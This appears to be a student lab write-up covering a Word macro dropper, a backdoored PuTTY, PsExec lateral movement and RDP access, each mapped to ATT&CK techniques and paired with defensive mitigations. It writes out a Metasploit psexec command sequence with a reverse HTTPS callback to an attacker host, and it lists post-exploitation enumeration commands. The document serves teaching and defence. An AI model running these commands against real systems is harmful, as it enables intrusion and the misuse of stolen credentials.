Repository navigation
Week05
Objective: Create a malicious macro in Microsoft Word that downloads and executes a payload, demonstrating the technique threat actors use in phishing campaigns.
All of the Requirements for Task 4 have been bundled into the one video listed below.
This is the full video for Task #1 each required aspect for the video is broken off into separate videos as asked below:
Tech Journal Submission - Submit the following:
(1) a video showing the VBA editor with your macro code being pasted
(2) a video of the macro executing and the download occurring
(3) a video of the Meterpreter session being established in Metasploit
The macro uses the AutoOpen VBA procedure to execute automatically when the Word document is opened and macros are enabled. It first creates an HTTP connection to the attack VM and downloads the Meterpreter payload from the specified URL. The macro then uses ADODB.Stream to save the downloaded executable as launcher.exe in the user's Documents folder. After confirming that the file exists, WScript.Shell executes the downloaded program. The Meterpreter payload then establishes a reverse connection back to the Metasploit handler, giving the attacker a Meterpreter session on the Windows system.
The process can be summarized as:
Word document opened
V
AutoOpen macro executes
V
Downloads (windows-payload.exe) RAT over HTTP
V
Saves payload as launcher.exe
V
Executes launcher.exe
V
Payload connects to Metasploit
V
Meterpreter session established
- T1059.005 — Command and Scripting Interpreter: Visual Basic
The attack uses VBA to execute commands and perform the download and execution.
AutoOpen is significant because it is a special Word VBA procedure that executes automatically when the document is opened, provided that macros are allowed to run. This means the user does not have to manually open the VBA editor or select the macro. In this lab, AutoOpen causes the payload download and execution process to begin when the document is opened, allowing the microsoft-payload.exe/launcher.exe RAT to download from the Kali VM and be ran on the Windows VM.
Organizations can disable VBA macros by default, especially for documents received from the Internet or email. Microsoft Office policies can also require macros to be digitally signed or explicitly approved before they can execute. Email security systems can scan or block suspicious macro-enabled attachments, while endpoint security software can detect Office applications making unusual network connections or launching executables. Application allow listing can further restrict which programs are permitted to execute.
Objective: Add a backdoor to a legitimate Windows program that you’d use on a day-to-day basis, demonstrating how supply chain attacks and trojanized software can be used to maintain covert access.
This is the full video for Task #2
A backdoored executable combines the functionality of a legitimate program with an additional payload. When the user launches the modified application, the legitimate application can continue to operate while the embedded payload establishes a connection to the attacker's system. This can make malicious activity less obvious because the user sees a program they expect to run. In this lab, the modified executable demonstrates how software that appears legitimate can also execute unauthorized code.
T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain
T1036 — Masquerading
T1055 — Process Injection
For this particular lab, with how the payload was embedded and downloaded, the most directly relevant concepts are T1195.002 when discussing a compromised software distribution and T1036 when the modified executable is presented as legitimate software.
Backdoored executables can be difficult to detect when the malicious modification is designed to preserve the original program's functionality and does not match a known malware signature. This is especially concerning when an executable like PuTTY because it is often used by Admins to control important systems remotely. An attacker could very easily use this method to therefore capture passwords and escalate rapidly, as linked below. Modern endpoint security can nevertheless detect many such files using behavioral analysis, reputation systems, code-signing validation, static analysis, and other techniques. Detection therefore depends on the specific modification and the security controls in place.
Real world example where this happened
An attacker could distribute a compromised application through a compromised software distribution channel, malicious third-party download site, compromised update mechanism, phishing campaign, or another location where users expect to obtain legitimate software. A genuine-looking application can increase the likelihood that users will execute it.
Unsigned or unverified software makes it more difficult for users and organizations to establish who produced the software and whether it has been modified. A legitimate digital signature and trusted distribution source provide additional integrity and authenticity information. Organizations can reduce this risk by using trusted software repositories, verifying digital signatures, maintaining application allow lists, and monitoring software installations. This becomes exceptionally hard to do however, when low level users can download their own software, often bypassing these checks.
Objective: Use stolen credentials with Metasploit's PSExec module to gain remote access to the target system and enumerate it using Meterpreter.
This is the full video for Task #3
The screenshare command did not work because the Meterpreter session was created through PSExec using TARGET 2, which caused the payload to run as a Windows service instead of within the user's interactive desktop session. Because there was no interactive desktop attached to the session, Metasploit could not access a screen to capture.
If it had worked successfully, screenshare would have opened a viewer showing the current Windows desktop of the compromised machine, allowing the user to visually see the activity occurring on the Windows system.
The first step was to use Metasploit's Windows PSExec module to authenticate to the Windows 10 target using the champuser credentials and establish a Meterpreter session.
use exploit/windows/smb/psexec
set RHOSTS 10.0.17.51
set SMBUSER champuser
set SMBPASS <password>
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 10.0.17.34
set LPORT 8443
set TARGET 2
run
The PSExec module uses SMB to communicate with the Windows target and remotely execute a payload using Windows administrative functionality. In this lab, the target was 10.0.17.51 and the Kali attack machine was 10.0.17.34. The champuser credentials were used to authenticate to the target, while the Meterpreter payload used a reverse HTTPS connection back to Kali on port 8443.
ipconfig
The ipconfig command displays the network configuration of the compromised Windows system. This includes information such as the system's IP address, subnet configuration, and network interfaces.
This information is important to an attacker because understanding the compromised host's network configuration helps establish where the system is located within the network. An attacker can determine which network the system belongs to and identify information that may be useful for additional network discovery or lateral movement. Knowing the IP configuration can also help an attacker understand how the compromised computer communicates with other systems.
T1016 - System Network Configuration Discovery
sysinfo
The sysinfo command provides information about the compromised computer and operating system. The output can include the computer name, operating system, architecture, and other system information.
This is important because an attacker needs to understand the environment before performing additional actions. For example, knowing whether the target is running a 32-bit or 64-bit version of Windows can affect which payloads or programs can be used. The operating system version can also help an attacker determine what software or techniques may be compatible with the system.
System information can therefore be used to guide later stages of an attack rather than blindly executing commands or payloads.
T1082 - System Information Discovery
ps
The ps command lists processes currently running on the compromised Windows system.
This information is useful because running processes provide an attacker with a picture of what the computer is currently doing. An attacker can identify applications, system processes, services, and potentially security-related software running on the host. Process information can also help determine which applications are being used and what activity is occurring on the machine.
From an attacker's perspective, process discovery can help determine what additional actions may be possible and whether there are applications or services that are relevant to the next stage of the operation.
T1057 - Process Discovery
netstat -an
The netstat -an command displays network connections and listening ports on the compromised Windows system.
This information is important because it can reveal which network services are listening for connections and which remote systems the computer is communicating with. An attacker can use this information to understand the network activity of the compromised host and potentially identify other systems or services that may be relevant to lateral movement.
For example, a listening port could indicate that a particular service is running, while an established connection can show that the compromised computer communicates with another host.
T1049 - System Network Connections Discovery
driverquery
The driverquery command lists device drivers installed on the Windows system.
This can provide information about the hardware and software components operating on the machine. Device drivers can also reveal information about security products, virtualization software, hardware components, and other system functionality.
This information can be valuable to an attacker because it provides additional knowledge about the environment. Certain drivers may reveal security software or other defensive technologies installed on the computer. Drivers can also provide information about the type and purpose of the system and may identify components that could be relevant to later exploitation or privilege escalation.
T1652 - Device Driver Discovery
shell
net share
exit
The net share command displays shared folders and resources configured on the Windows system.
Network shares are important because they can expose files, directories, and administrative resources to other computers. An attacker can use this information to understand what resources are being shared and determine whether any of them could be useful for additional access or lateral movement.
Shares such as administrative resources can be especially significant during Windows-based lateral movement because SMB provides mechanisms for accessing remote systems and transferring files.
T1135 - Network Share Discovery
run post/windows/gather/enum_applications
This Meterpreter post-exploitation module enumerates applications installed on the Windows system.
Installed software is important information for an attacker because applications can reveal how the computer is used and what software is available on the host. Software versions may also identify outdated applications or applications with known vulnerabilities. Security and administrative software can additionally reveal what defensive technologies are installed.
An attacker can use this information to determine which techniques are appropriate for the particular system instead of using the same approach against every computer.
T1518 - Software Discovery
run post/windows/gather/enum_logged_on_users
This Meterpreter module identifies users who are currently or have recently been logged onto the Windows system.
User information is important because it helps an attacker understand who uses the compromised computer and which accounts may be active. An attacker may also use this information to determine whether an administrator or another potentially important account is currently logged in.
Knowing the users associated with a system can therefore help an attacker understand the importance of the host and identify accounts that may be relevant to subsequent activity.
T1033 - System Owner/User Discovery
shell
net user
exit
The net user command lists local user accounts configured on the Windows system.
This provides an attacker with information about the accounts that exist on the compromised computer. The output can help identify standard users, administrative accounts, and other accounts that may be relevant to understanding the system's security configuration.
Account discovery can be particularly useful after gaining access because it helps an attacker understand what identities exist on the system and which accounts may have elevated privileges or be useful for further access.
T1087.001 - Account Discovery: Local Account
The reverse HTTPS payload communicates with the attack system using HTTPS rather than a basic TCP connection. HTTPS provides encryption for the communication and can make the traffic resemble normal web traffic. Reverse TCP establishes a direct TCP connection without providing the HTTPS communication layer.
In this lab, the reverse HTTPS payload connected back to the Kali machine on port 8443. The use of HTTPS demonstrates how a command-and-control connection can use an encrypted web-based protocol rather than a basic unencrypted TCP connection.
Port 8443 was used instead of the standard HTTPS port 443 to demonstrate that the Meterpreter callback does not have to use a standard service port.
Using a non-default port can also be useful during testing because security controls may treat traffic differently depending on the destination port. In this lab, 8443 provides a separate port for the Meterpreter callback while demonstrating that the payload is not dependent on port 443.
3. Which enumeration command would be most useful for identifying potential lateral movement opportunities?
netstat -an is particularly useful for identifying potential lateral movement opportunities because it displays active network connections and listening ports.
The output can show which systems the compromised computer is communicating with and which services are listening for network connections. This information can help an attacker understand the host's position within the network and identify services or systems that may be relevant to further movement.
Other commands, such as net share, can also contribute to lateral movement analysis by identifying shared resources.
The enumeration provides a broad picture of the compromised computer. ipconfig identifies network configuration, sysinfo identifies the operating system and architecture, ps identifies running processes, and netstat -an identifies network connections and listening ports.
The additional commands provide information about device drivers, network shares, installed applications, logged-on users, and local accounts. Together, this information allows an attacker to understand the system and its surrounding environment before deciding what actions to take next.
This type of discovery is important because attackers generally need to understand a compromised system before attempting additional exploitation, privilege escalation, credential access, or lateral movement.
Organizations can reduce the risk of PsExec and SMB-based lateral movement by restricting administrative privileges, limiting access to SMB, using strong and unique administrator credentials, segmenting networks, and monitoring remote administrative activity.
Security teams can also monitor for suspicious access to administrative shares such as ADMIN$ and C$, unusual remote service creation, and unexpected process execution following SMB connections. These events can be correlated to identify potential lateral movement.
Objective: Enable Remote Desktop Protocol on the target system and establish a graphical remote session using compromised credentials, demonstrating how attackers use RDP for hands-on-keyboard access and lateral movement.
Task 4 Video
RDP provides graphical remote access to a Windows computer. Unlike a Meterpreter session, which primarily provides command-line and post-exploitation capabilities, RDP provides an interactive Windows desktop. This allows a user to interact with applications, files, settings, and other graphical components of the system.
A threat actor could use RDP for initial access if they obtain valid credentials for an account that is permitted to use Remote Desktop. After authenticating, the attacker can access the Windows graphical desktop and interact with the system similarly to a legitimate user. RDP can also be used for lateral movement. After compromising one computer, a threat actor could use stolen credentials to connect to another Windows system that has RDP enabled. This can allow the attacker to move between systems within a network and access additional resources using the graphical desktop.
T1021.001 - Remote Services: Remote Desktop Protocol
RDP provides a graphical Windows desktop that allows direct interaction with the operating system. Meterpreter is a post-exploitation command-and-control environment that provides commands and capabilities for interacting with a compromised system.
RDP provides direct access to the Windows graphical interface. This allows an attacker to interact with programs and system settings that may be difficult or impossible to use through a command-line session.
Network connections to TCP port 3389, especially connections from unusual or unauthorized systems, can indicate RDP activity. Security teams can also monitor successful and failed RDP authentication attempts and unusual login times.
Organizations can disable RDP when it is not required, restrict which users are allowed to connect, use network firewalls to limit access, require Network Level Authentication, use VPNs or other controlled access methods, and monitor RDP authentication and connection activity.